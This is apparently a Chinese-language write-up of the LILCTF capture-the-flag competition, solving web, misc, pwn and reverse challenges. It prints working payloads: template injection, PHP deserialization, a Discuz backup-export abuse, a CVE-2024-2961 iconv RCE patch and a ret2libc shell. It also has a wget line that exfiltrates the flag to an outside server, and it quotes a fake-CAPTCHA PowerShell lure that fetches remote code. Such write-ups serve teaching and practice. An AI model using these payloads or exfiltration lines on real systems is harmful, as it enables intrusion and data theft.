被打爆了,拿了第 13,已经知足了 xwx。
Web
Ekko_note
看到 RCE 部分代码:
其中调用的 check_time_api
函数:
定义的默认 time_api
:
可猜测此处需要修改 time_api
来通过 2066 年的检测。
而修改 time_api
需要 admin
权限:
审阅代码可发现重置密码的生成 Reset Token 逻辑部分使用了 UUID-8,并且自定义了参数,猜测这部分可能存在漏洞:
翻阅 Python 文档可知道 uuid.uuid8()
函数在 Python 3.14 引入,在调试的时候需要使用 Python 3.14:
再对 Python 源码的实现进行审阅:
不难发现 UUID-8 的生成依赖 random
库,且使用的全局 Random 状态。
再看到题目代码:
通过 /server_info
路由可获取到 SERVER_START_TIME
:
且 admin
具有 is_admin
权限:
确定可利用此处漏洞对 admin 用户密码进行重置。
对于 SERVER_START_TIME
的获取需要登录(但不需要管理员权限),所以先需要注册个普通用户进行获取:
获取得 SERVER_START_TIME
后可对 admin 用户进行重置:
使用 Python 3.14 并复制相应生成逻辑可得到 Reset Token:
使用该 Token 即可重置 admin 密码:
可进入 管理员设置 界面修改时间 API:
此时可以使用自己的服务器或其他公共服务提供以下 JSON:
1 | {"date": "2067-01-01T00:00:00"} |
打开 执行命令 界面可确认修改成功:
此时执行 wget http://<SERVER_ADDR>/$(cat /flag)
即可获得 Flag:
最后得到 Flag 为: LILCTF{u_haV3_10uND_thE_r1Ght_TIMe1lN3!}
ez_bottle
审阅代码可得知 /view/<md5>/<filename>
路由存在模板注入风险:
且存在以下关键词黑名单:
看到上传函数,虽然接受的是压缩包,但是非法路径和符号链接都被受到了限制:
可确认只能使用模板注入。
查看 Bottle 文档 Embedded Python Code 部分:
可确认 %
符号不受黑名单限制,可构造不包含黑名单关键字的单行 Python 代码即可:
1 | % assert False, locals()["\137\137builtins\137\137"]["ope""n"]("/flag").read() |
将以上代码打包至 Zip 档案包上传即可:
访问相应路径即可获得 Flag:
得到 Flag 为: LILCTF{6o7Tl3_hAS_8een_r3cyCLeD}
Your Uns3r
看到代码:
不难发现:传入的 user 参数会经过反序列化,且检测是否同时包含 admin
和 Access":
,User
实例在 Destruct 的时候会检测 username
是否为 admin
(弱比较,可以传入 0
绕过检查),如果条件为真则反序列化且要求反序列化结果为 Access
实例并调用其 getToken()
成员函数并对其进行 include
。
可大致猜测此处利用 LFI (Local File Include) 漏洞获得 Flag,构造 Access->prefix
为 /
,Access->suffix
为 /../flag
,最后拼接出字符串 /lilctf/../flag
,PHP 会自动解析路径为 /flag
。
但是注意到最后有个异常抛出,可以通过试验发现 PHP5 (PHP7 以上会调用) 在抛出异常后不会调用 __destruct
销毁对象:
经检测题目环境为 PHP5:
所以此处需要构造一个需要被 GC 立即回收的对象,下面将会构造一个 Array,利用反序列化特性,将 User 对象写入到 Array 的第一个索引,再将 null 值再次写入到 Array 的第一个索引,这样即可立即触发 GC 回收。
根据上面的发现可以编写 PHP 脚本获得序列化字符串:
1 |
|
获得序列化结果后使用 curl
发送即可获得 Flag:
得到 Flag 为: LILCTF{GOnN4_1lnd_YOUr_4NSwER_To_uN$eR}
我曾有一份工作
根据题目提示:
下面将使用 dirsearch
进行扫描,通过备份一词猜测会有个 Tar 或者 Zip 之类的档案包。
由于 Discuz 会在不存在的界面返回 index.php 的内容,为了减少搜索成功结果,将会在 dirsearch
时过滤掉字符串 <title>论坛 - Powered by Discuz!</title>
。
结合上述想法可使用以下指令进行搜索:
1 | dirsearch -u http://[ENDPOINT] --exclude-text="<title>论坛 - Powered by Discuz!</title>" -e php,html,htm,zip,tar,gz -a |
可扫描到有 www.zip
档案包:
打开后可以看到是 Discuz X! 的源码,可以直接看到 config 目录下,猜测存在有敏感数据泄漏:
通过日期和名称可以看出来下面的是源码所分发的默认配置,而上面的是服务器所使用的配置:
打开上面两个文件配置,可以看到两个比较显眼的 Key authkey
和 UC_KEY
:
通过搜索引擎可以搜索到 authkey
的利用方法:
搜索出来的基本都是针对于邮箱验证的接口进行利用,但是看到网上给出相应片段的代码:
再看到源码包给出来的相应片段(位于文件 source/include/misc/misc_emailcheck.php
):
不难发现新版本的 Discuz X! 增加了额外的在数据库存储相应的验证字符串,并进行了验证,确认了此方法不再可行。
但是通过 文章 可以知道,重置密码用的 code 是通过 authcode 函数生成的,所以可以猜测哪些地方也利用到了 authcode 函数,可以使用 find
结合 grep
对源码进行搜索,执行以下指令:
1 | find . -type f -name "*.php" -exec grep -H "authcode" {} \; |
不难发现迎面而来一个非常可疑的 API dbbak.php
,可通过名字猜测为数据库备份用的:
看到相关调用部分,这边使用了 UC_KEY
进行编解码,可大致确认可以利用,并且此处进行时间校验,限制了 code 有效时间为 1hr:
在往下看可以看到 method
可指定为 export
进行导出(由于代码篇幅过长不适合放出来):
看到请求参数的定义,可确认需要将 code 传入到 code
参数,再传入一个 apptype
:
看到下面对 apptype
的检查,大致可猜测出来这个 API 是个几个应用的通用的 API,而这边使用的是 Discuz X!,所以 apptype
应当是 discuzx
。
结合上面在 config
文件夹找到的 UC_KEY,利用 API 里面定义的 _authcode
函数,根据上面的分析,可以写出脚本:
1 |
|
拿到请求器发送请求可以看到成功导出了 SQL 文件,并且 <nexturl>
标签附上了下一段 SQL 的请求 URL:
请求完之后应该有 3 段 SQL 文件,可在第 1 段 SQL 文件找到 pre_a_flag
定义:
在里面通过搜索不难看到往 pre_a_flag
表里插入了两个值:
Hex 解码分解可以得到两个 Flag:
按照格式要求可得到 Flag 为: LILCTF{h4VE_Y0u_FouND_A_J#b_n#w?_haH@HA}
php_jail_is_my_cry
看到题目描述的说明:
再看到源代码:
不难发现这边是利用的 curl
对文件进行的获取。
但看到 php.ini
的 open_basedir
定义:
再看到 PHP 文档 对 curl_init
的说明:
会发现 curl
实际上不能使用 file
Protocol 的,而这里使用了,说明了这里是利用了某个漏洞。
通过搜索引擎搜索可以发现 curl
是有个 Bypass 的 Issue 报告:
看到 Issuer 使用的 PHP 版本是 8.3.13
,利用了下面选中部分的代码进行 Bypass:
而附件给出的 PHP 版本为 8.3.0
,小于 Issuer 使用的 PHP 版本:
基本可以确定是使用了该代码进行绕过的:
1 | curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "all"); |
补充代码到相应注释处即可开始本地调试。
看到源代码:
由于题目中提到了不出网,而在接受 url
参数的时候并没有使用上面所发现的漏洞进行绕过,所以基本确定 url
参数是不可用的。
而接受 down
参数的处理逻辑内有 LFI 漏洞,但是取了 basename
,限定了 /tmp
目录,只能对上传的文件进行 include。
看到接受 file
参数时的逻辑,可以看到其对 <?
、php
、halt
字符串进行了检测且无法绕过。
再看到 php.ini 对 short_open_tag
的定义为 Off
,也确定了 <?
、<%
一类短标签不可用:
可确定这里需要利用 phar
档案包并压缩处理进行 ACE。
编写代码以便生成 phar
档案包:
1 |
|
看到 php.ini
定义的这个 比我命还要长的 disable_functions
,基本也能确定不能通过常规的 PHP 函数执行 RCE:
所以接下来猜想需要利用 php
Protocol 的 iconv
漏洞进行 RCE。
在搜索引擎搜索 php iconv rce
关键词可以看到就有一篇 Blog 文章 讲述了利用 iconv
漏洞进行 RCE 的文章:
可以看到是 CVE-2024-2961,利用了 CN-EXT 编码的转换漏洞:
再看到 CVE-2024-2961 的修复 commit 信息:
看到容器的 glibc 版本为 2.36-9
,为未修复版本:
可确认该漏洞可利用。
通过文章可以找到 脚本。
看到脚本所需的前置代码:
其中需要 file_get_contents
来对文件进行获取,但不幸的是 file_get_contents
被禁用了,但是这边只是需要读取文件数据和利用 php://
Protocol 的 iconv
漏洞,所以前者使用 curl
后者使用 include
也能达到同样的效果。
然后看到 Hint:
再看到脚本里面:
由于 data
Protocol 在 include
里面使用需要 allow_url_include
启用,会发现脚本是无法直接使用的,但这边可以将 data
Protocol 修改成上传文件再从本地读取内容。
编写 PHP 脚本,并使用上面编写的 phar 打包脚本生成 phar 档案包:
1 |
|
随后修改脚本(由于脚本篇幅过长,修改处不多,这边只贴出 Patch 文件):
1 | --- old/cnext-exploit.py 2025-08-18 13:55:55.256163528 +0800 |
上传 phar 档案包:
随后复制链接执行脚本:
1 | python3 cnext-exploit.py 'http://<ENDPOINT>/?down=exp.phar.gz' "/readflag > /tmp/flag" |
可以看到攻击成功。
随后访问 http://<ENDPOINT>/?down=flag
即可获得 Flag:
得到 Flag 为: LILCTF{BreaK_0U7_7HE_jA11_AND_heAR_My_cURI_CrY}
Misc
是谁没有阅读参赛须知?
在比赛规则内的第 3 点可找到 Flag:
得到 Flag 为: LILCTF{Me4n1ngFu1_w0rDs}
v我50(R)MB
阅读题意可得知文件信息改了,但是文件并没有更新:
可猜测此处对应 HTTP Header 的 Content-Length
信息受到了修改,导致数据信息截断,而实际上服务器在发送至相应大小之后并没有停止发送,而是仍在发送文件。
通过 Developer Tools 找到图片路径 /api/file/download/72ddc765-caf6-43e3-941e-eeddf924f8df
:
可利用 curl
忽略 Content-Length 接收文件:
1 | curl --output flag.png --ignore-content-length http://<ENDPOINT>/api/file/download/72ddc765-caf6-43e3-941e-eeddf924f8df |
可发现接收的大小符合题目预期的 1MB,也能看到图片能正常打开:
得到 Flag 为: LILCTF{i_dONT_KNOW_8U7_A1_GENerATEd_7hAT_c0d3}
PNG Master
使用 zsteg
可以看到能分析出一个 Zlib 文件和两段 Base64:
对 Base64 解码可以获得两段 Flag:
- Flag1:
LILCTF{
- Flag2:
Y0u_4r3_M
然后执行指令 zsteg -E "extradata:1" [FILE] > data.zlib
解出 zlib 数据:
解压 zlib 数据后不难看出来是一个 Zip 档案包:
将它保存到文件里:
可以看到 hint.txt
有一段文本但实际大小有 195 B
,可猜测有零宽字符:
复制出来拿到解码器可以看到:
得到提示 与文件名xor
。
看到题目介绍:
可以猜测 secret.bin
里面的内容需要与 secret
异或解码,可使用 CyberChef 上传文件进行解密:
可以得到 Flag3 的 Hex 值:
可以得到 Flag3 为 as7er_in_PNG}
:
拼接后可得到 Flag 为: LILCTF{Y0u_4r3_Mas7er_in_PNG}
提前放出附件
经典线下赛提前放出加密大附件压缩包,可能还有百度网盘元素加持,不妨碍大家想要拆拆包。
使用 John 字典爆破无果,选用 bkcrack 明文攻击。
不难看到 Zip 档案包内有个 flag.tar
文件:
猜测 flag.tar
内部存着 flag.txt
文件,可以写一个 flag.txt
文件打包成 flag.tar
查看文件头,利用文件头进行明文攻击。
执行以下指令生成文件头:
1 | echo -n "LILCTF{" > flag.txt |
随后执行 bkcrack -C [ZIP_PATH] -c flag.tar -p header.bin
即可爆破出密钥 945815e7 4e7a2163 e46b8f88
:
随后执行 bkcrack -C [ZIP_PATH] -c flag.tar -k 945815e7 4e7a2163 e46b8f88 -d flag.tar
即可解压出 flag.tar
,解出 flag.tar
即可获得 Flag:
得到 Flag 为: LILCTF{Z1pCRyp70_1s_n0t_5ecur3}
Pwn
签到
使用反编译器反编译可看到 read
函数调用处存在 Stack Arbitrary Write 风险:
对 Stack 进行分析,可确定 buf
到 retaddr
之间的空间大小为 0x78。
且题目给出 libc.so
附件,可通过 ret2libc 调用 system("/bin/sh")
获得 Shell (此处借用了 reHex Ninja 的代码 进行修改):
1 | import pwn |
执行脚本输入 cat /flag
即可获得 Flag:
可得到 Flag 为: LILCTF{007bd515-bb73-485d-896a-5a3b7dcfeccf}
Reverse
ARM ASM
使用 JADX 反编译可发现 Flag 的加密逻辑是定义在 Native Library 里面的 (为什么加密函数是叫 ,且加密后的字符串为 check
函数,有点神秘(x)KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S
:
将 Resources 内 lib/arm64-v8a/libez_asm_hahaha.so
提取出来放到反编译器分析。
可大致分析出来 check
函数先使用了一个 Block Cipher 对传入的字符串进行了加密处理,且使用了一个名为 t
的初始向量:
上面反编译出来的 vqtbl1q_s8
函数可以看到 ARM 文档 描述:
可以知道这个函数是将 t
向量按照 idx
向量的索引重新排列。
随后进行了一次高低位互换的编码转换:
可通过以下变换得到原字符:
1 | b0 = ((b0 >> 3) | (b0 << 5)) & 0xFF |
最后进行了 Base64 编码:
看到 encodeBase64
函数的定义:
可判断出来是标准的 Base64 变换,变换表存储在 base64
全局变量上:
可看到为非标准 Base64 表(部分位发生了调换)。
由于此处为非标准 Base64 变换,将使用 CyberChef 解码得到 Base64 解码后的数据:
找到初始向量 t
的值:
编写脚本:
1 | INIT_T = bytes.fromhex("0d0e0f0c0b0a09080607050402030100") |
执行脚本即可获得 Flag:
得到 Flag 为: LILCTF{ez_arm_asm_meow_meow_meow_meow_meow_meow}
1’M no7 A rO6oT
打开网站点开验证可发现以下内容:
可猜测为 PowerShell 代码执行风险代码 (我手上没有 Windows 环境也测不了),粘贴可看到以下代码:
1 | powershell . \*i*\\\\\\\\\\\\\\\*2\msh*e http://<HOST>/Coloringoutomic_Host.mp3 http://<HOST>/Coloringoutomic_Host.mp3 # ✅ Ι am nοt a rοbοt: CAPTCHA Verification ID: 10086 |
可猜测 http://<HOST>/Coloringoutomic_Host.mp3
路径存在恶意代码。
使用 ffprobe
可发现在 28765 byte
处存在 27080 bytes
的无用数据:
使用 dd
可提取出相应代码:
经过简单判断,混淆代码会在调用 eval
后执行,且反混淆后的代码将会存储在 SxhM
变量上。
复制解码部分代码到 Node.js
上执行,可得到另一份混淆代码:
可通过代码内容猜测出以上字符序列均为原字符的 Char Code 值 +601 得到,可利用以下 Python 脚本得到原始内容:
1 | CHARS = ... |
可得到又一份代码:
经过简单判断可知道上面 Hex 值是代码对 204 XOR 的结果,可使用以下 Python 脚本获得源代码。
1 | HEX = ... |
不难发现此处又有一份恶意代码存储在 http://<HOST>/bestudding.jpg
上。
使用 curl 可发现为一段混淆过的 PowerShell 代码:
可发现文件最后有 | .$r
,可猜测为 iex
对前面内容执行:
除去末尾的 | .$r
执行代码可得到:
删除掉 iex
调用执行可得到:
(怎么还有个 Ciallo,柚子➗蒸鹅心 (bushi))
不难找到 Flag 存储在 fF1IA49G
变量上,得到 Flag 为: LILCTF{83_vigiIAnT_ag@lnS7_pHlsHiN9}
Oh_My_Uboot
下载 ELF 后使用反编译器打开:
可确定 ELF 基址为 0x60800000
,对 U-Boot 的配置进行查询:
可确定上述机器加载基址均为 0x60800000
,此处将使用 vexpress-a9
配置进行模拟。
执行以下指令编译 U-Boot 以便后续调试操作 (需自行解决依赖问题):
1 | make vexpress_ca9x4_defconfig |
使用 qemu-system-arm -M vexpress-a9 -kernel re-u-boot -nographic -gdb tcp::3333
指令启动 U-Boot 并开放 GDB 服务器到端口 :3333
以便调试:
看到最后显示要输入密码,可猜测密码为 Flag:
尝试搜索 password
字符串无法找到,可猜测经过了字符串加密:
但是在 Strings 窗口可以看到其他字符串并没有经过加密:
可以通过字符串的交叉引用找到将字符串输出到 Console 的函数:
可确定 sub_6081886c
对应为输出 Console 函数,并命名为 write_console
。
同理下面的函数 sub_60865954
为格式化输出函数,可命名为 printf
:
看到 U-Boot 文档:
可以看到 ELF 加载后 Relocation 的地址可以通过 r9
寄存器上指向的全局数据获得。
此处将使用 pwndbg
进行调试。
使用 target remote :3333
连接到 QEMU:
执行 add-symbol-file u-boot
以添加 symbol,后执行 p/x (*(struct global_data*)$r9)->relocaddr
指令即可获取 Relocation 后的基址:
可得到基址为 0x67f5e000
,将反编译器 Rebase 到相应基址以便于后续调试:
通过测试可发现:在输入错误密码之后 U-Boot 会输出字符串 ### Please input uboot password: ###
:
可根据以上发现对 write_console
和 printf
函数进行断点测试。
可以看到 Rebase 后这两个函数的地址分别是 0x67f7686c
和 0x67fc3954
,在 Debugger 里输入 b *0x67f7686c
和 b *0x67fc3954
对这两个函数进行断点:
然后输入 c
让程序继续运行至断点,在 QEMU 窗口按下回车可以发现断点触发:
随后输入 fin
让程序运行到函数结束:
可以看到现在程序执行到了 0x67f71fdc
上,看到反编译器可以找到这个函数:
不难发现,其中对某个 QQQR"
开头、长度为 0x25
的字符串对 0x72
进行了 XOR 处理。
可以对该字符串重定义类型,以便提取出来分析:
对该字符串对 0x72
进行 XOR:
可以发现就是要求输入密码的提示符。
不难发现该函数最后有以下字符串:
不难看出来所调用的函数是用于判断两个字符串是否相等的(可命名为 strcmp
):
可以 strcmp
传入的第一个参数 var_84
是在 67f72010
处调用的 sub_67f71e3c
产生的:
看到 sub_67f71e3c
函数可猜测是加密函数,可以断点到该函数调用的 bl
指令处:
可以利用 Binary Ninja 的 LLIL 看到分别对应的 r0
和 r1
寄存器,且在 67f72010
调用函数:
此时可以通过 del
删除之前的断点,输入 c
让程序继续执行,在 0x67f72010
处下断点,任意输入一段文本验证是否为加密函数:
此处以 1145141919810
作为测试:
看到 r0、r1 寄存器地址分别为 0x67b1dde8
和 0x67b1ddb4
:
可以看到 r0 寄存器对应的为原文本,r1 寄存器对应的加密后的文本:
此时可以输入 so
指令查看函数执行后的结果:
可以看到两个传入参数的值都发生了变化,而 r1 寄存器对应的 0x67b1ddb4
则是加密后的结果,将会在下面进行比较。
接下来可以开始分析加密函数了。
先看到前几行代码,此处对 r0
赋值了一个函数对传入的第一个参数的计算值:
看到这个函数的定义不难看出来是计算字符串长度的(可命名为 strlen
):
随后可确定加密函数首先对传入的明文字符串进行对 0x72
XOR 处理。
再往下看,可以看到在 var_84
上生成了个从 0x30
到 0x6a
的表:
再往下看有个 sub_67f5fcfc
函数调用传入了很多参数:
这个函数也能在刚刚找到校验密码逻辑的函数里找到,传入的第一个参数 var_50
在下面进行了 XOR 并输出到控制台,而第二个参数 data_67fcb357
对应的 XOR 加密前的字符串,而第三个参数恰好为字符串包含 NUL 字符的长度,可猜测该函数为内存复制函数(可命名为 memcpy):
再看回刚刚的调用,不难看出来是将刚刚经过 XOR 加密的字符串复制到一段新空间上。
继续往下看并对变量名进行适当的调整:
看到中间调用的 sub_67fc8534
函数定义的末尾:
不难看出来这是编译到 ARM 目标时生成的除法函数(ARM 不支持除法)(可命名为 div
函数)。
而 sub_67fc8600
调用了 sub_67fc8498
:
其调用的 sub_67fc8498
末尾也是跟上面的 div
一样特征,说明也是除法函数:
看回 sub_67fc8600
,虽然反编译代码写着是直接返回的,但是结合 LLIL 和 MLIL 会发现不一样调用完之后在其他寄存器做了其他运算:
r0
对应除法结果(商),r1
对应传入的被除数,r2
对应传入的除数,不难看出来 r1_1
(r1
寄存器) 存储着结果的模。
看回刚刚调用 sub_67fc8600
的地方,会发现并没有取 r0
的值,而是取的 r1
值,所以实际上该函数应该是除法取模函数(ARM 的 r0
和 r1
寄存器均可用于返回值,可命名为 divmod
):
再看回刚刚那段加密逻辑,将部分数字转换成十进制:
结合上面生成的 0x30
到 0x6a
的表,也刚好为 58 字节。
根据 / 58
和 % 58
的特征可看出来这边是一个类 Base58 编码。
再往下看,可以看到最后将经过类 Base58 编码处理的结果写回到输出:
综合上面分析,可以得出加密过程为: XOR 0x72 -> Base58-like (Table: 0x30-0x6a)
。
1 | TABLE = {b: num for num, b in enumerate(bytes(range(0x30, 0x6a)))} |
运行脚本可解得 Flag:
获得 Flag 为: LILCTF{Ub007_1s_v3ry_ez}
obfusheader.h
在分析之前可以运行程序进行简要观察:
不难看出来过长过短都会有提示,这样就可以测试出来 Flag 长度为 40
。
由于该程序的控制流进行了混淆,所以在反编译器里看也没有什么好分析的,不过能找到链接了 getc
函数(没有使用 fscanf
/ fgets
一类函数,所以基本可以确定只调用了 getc
):
看到 getc
函数在 .text
段上地址为 0x140033368
,对该地址进行断点:
随后输入 c
继续执行程序,输入 40
字符长度的 a
填充字符串(以便于分析)进行调试:
随后执行 c 8
让程序继续接收 8 个字符,使用 pwndbg
的 search
指令可以查找到 getc
后所存储的地址为 0x14003a040
:
接下来可以对地址 0x14003a040
使用 awatch
指令下硬断点,随后使用 del
指令删除掉前面的 getc
断点,输入 c
继续调试:
在继续调试几次之后可以看到以下函数:
不难看出这边进行了异或加密,执行多几次 c
可以发现每次 XOR 的密钥是不一样的,但是针对于不同的输入数据所产生的 XOR 密钥是一样的(可通过输入不同数据重新调试测试出来,此处不多赘述)。
所以可以在 XOR 加密过程结束后将数据 Dump 出来对原数据 XOR 即可获得密钥。
执行多几次 c
等到 XOR 过程结束后,使用 dump mem xor_filled_with_a.bin 0x14003a040 0x14003a040+40
指令将 XOR 结果 Dump 出来:
随后看到上一次 c
出来的汇编代码:
以及 c
跳过该过程之后的数据:
对比前后的数据,不难发现这边是对高 4 位和低 4 位进行了互换,即:
1 | new = ((old << 4) | (old >> 4)) & 0xff |
再看到下一个过程:
不难看出来这边是对数据进行执行 not
指令处理(即无符号算术取反,等价于 C 的 ~
运算符)。
再跳过此过程后,可发现控制台输出了 Encryption done, time to compare!
:
看到反编译函数,不难看出来 rax
是下标,rcx
和 rdx
是准备要进行比较的数组:
看到 rcx
为前面所断点的内存地址,可推断出 rdx
对应的 0x21f411
存储的是加密后的密文,通过指令 dump mem encrypted.bin 0x21f411 0x21f411+40
Dump 出密文:
接下来可编写脚本:
1 | with open("encrypted.bin", "rb") as fp: |
运行脚本可获得 Flag:
得到 Flag 为: LILCTF{whaT_iS_dATAF1#w_c@N_iT_63_E4teN}
Qt_Creator
直接 7z x <FILE>
解压出安装包文件(因为这边不是 Windows 环境安装有点麻烦(x)
使用反编译器打开 demo_code_editor.exe
后查看字符串可以看到几个控件名 ,还有个 :Ciallo
(柚子➗蒸鹅心x(是不是上面说过一次了(?))
找到 Ciallo
所在的函数,不难看到这边对文本框的字符串取字符串 (QLineEdit::text()
) 后进行了比较:
查看反汇编代码不难看出来这两个变量的地址分别存储在 esi
和 eax
上:
接下来可以下断点动态调试 Dump 出 Flag。
首先在 0x00410155
处(执行 operator==
)下断点:
然后输入 c
继续执行程序,在窗口点下确定即可触发断点:
可以看到 esi
和 eax
地址所指向的地址分别为 0x29715a8
和 0x68e1bac0
:
不难发现 Flag 以 UTF-16 编码存储在了 0x29715a8
上,此时可以扩大 hexdump
范围找到 Flag 实际长度,然后使用 dump mem
指令将 Flag Dump 出来:
打开 flag.txt
即可看到 Flag:
得到 Flag 为: LILCTF{Q7_cre4t0r_1s_very_c0nv3ni3nt}